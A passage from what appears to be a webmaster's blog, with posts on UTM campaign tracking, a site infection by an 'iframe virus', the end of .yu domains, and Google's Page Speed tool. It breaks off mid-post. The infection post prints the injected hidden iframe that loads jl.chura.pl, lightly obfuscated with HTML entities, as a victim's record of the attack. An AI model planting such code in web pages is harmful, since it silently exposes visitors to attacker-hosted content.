Tracking Advertisement Campaigns

We can track easily with using google analytics for all advertising campaings. We use utm_source, utm_medium, utm_campaing, utm_content and utm_term for tracking..

utm_medium is using for particular marketing; email, affiliate, paid search etc.

utm_source is our basic source which is we used to advertising; google adwords, facebook ads etc.

utm_campaing is your advertising campaing name, you will see this name in google analytics; %20 discount, Free shipping etc.

And URL example for following

  • utm_medium=banner-adv
  • utm_source=adwords
  • utm_campaign=free-membership
  • utm_content=300-250-fire

http://www.webmastersucks.com/?utm_medium=banner-adv&utm_source=adwords&utm_campaign=free-membership&utm_content=300-250-fire

Iframe Virus jl.chura.pl Removal

Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe virus in my site. I search this virus, it is changing index and default files. Add code like here..

&amp;lt;iframe src=&amp;quot;http://jL.ch&amp;amp;#117;ra.pl/rc/&amp;quot; style=&amp;quot;d&amp;amp;#105;splay:none&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;

UPDATED (5th June 2009):

After a while, virus come back. I used Avast Free Version, that is find all viruses and removed. But it is damaged infected files. All infected .html and .php files are deleted. Download Avast Home Edition >

This virus also affected your google results. Google can block your site because of badware. You have to read "My site's been hacked - now what?" and after remove your virus you have to read "Hey Google, I no longer have badware".

PS: I am not guarenteed virus removal, these are only what i do.

Important Warning for .yu Domains

Are you the owner of a .yu domain? Then you might have heard the news: as of September 30, all .yu domains will stop working, regardless of their renewal date. This means that any content you're hosting on a .yu domain will no longer be online. For those of you who would still like to have your site online, we've prepared some recommendations to make sure that Google keeps crawling, indexing, and serving your content appropriately.

  • Check your backlinks. Since it won't be possible to set up a redirection from the old .yu domain to your new one, all links pointing to .yu domains will lead to dead ends. This means that it will be increasingly difficult for search engines to retrieve your new content. To find out who is linking to you, sign up with Google Webmaster Tools and check the links to your site (you can also download this list as a "comma separated value" -- .csv -- file for ease of use). Then read through the list for sites that you recognize as important and contact their webmasters to make sure that they update their links to your new website.
  • Check your internal links. If you are planning to simply move your content in bulk from the old to the new site, make sure that the new internal navigation is up to date. For example, if you are renaming pages on your site from "www.example.yu/home.htm" to "www.example.com/home.htm" make sure that your internal navigation reflects such changes to prevent broken links.
  • Start moving the site to your new domain. It's a good idea to start moving while you can still maintain control of your old domain, so don't wait! As mentioned in our best practices when moving your site, we recommend starting by moving a single directory or subdomain, and testing the results before completing the move. Remember that you will not be able to keep a 301 redirection on your old domain after September 30, so start your test early.
While you're moving your site, you can test how Google crawls and indexes your new site at its new location by submitting a Sitemap via Google Webmaster Tools. Although we may not crawl or index all the pages listed in each Sitemap, we recommend that you submit one because doing so helps Google understand your site better. You can read more on this topic in our answers to the most frequently asked questions on Sitemaps. And remember that for any question or concerns we're waiting for you in the Google Webmaster Help Forum!

Page SpeedGoogle focus on speed and they believe that making their web sites load and display faster improves the user experience and helps them become more productive. Google announced, they want to share Page Speed (open source) which is used  and developed over the years. Page Speed's suggestions are based on a set of commonly accepted best practices that we and other websites implement.

What is Page Speed?

Page Speed is an open-source Firefox/Firebug Add-on. Webmasters and web developers can use Page Speed to evaluate the performance of their web pages and to get suggestions on how to improve them.

Webmasters who run Page Speed on their pages get a set of scores for each page, as well as helpful suggestions on how to improve its performance.

Why should you use Page Speed?
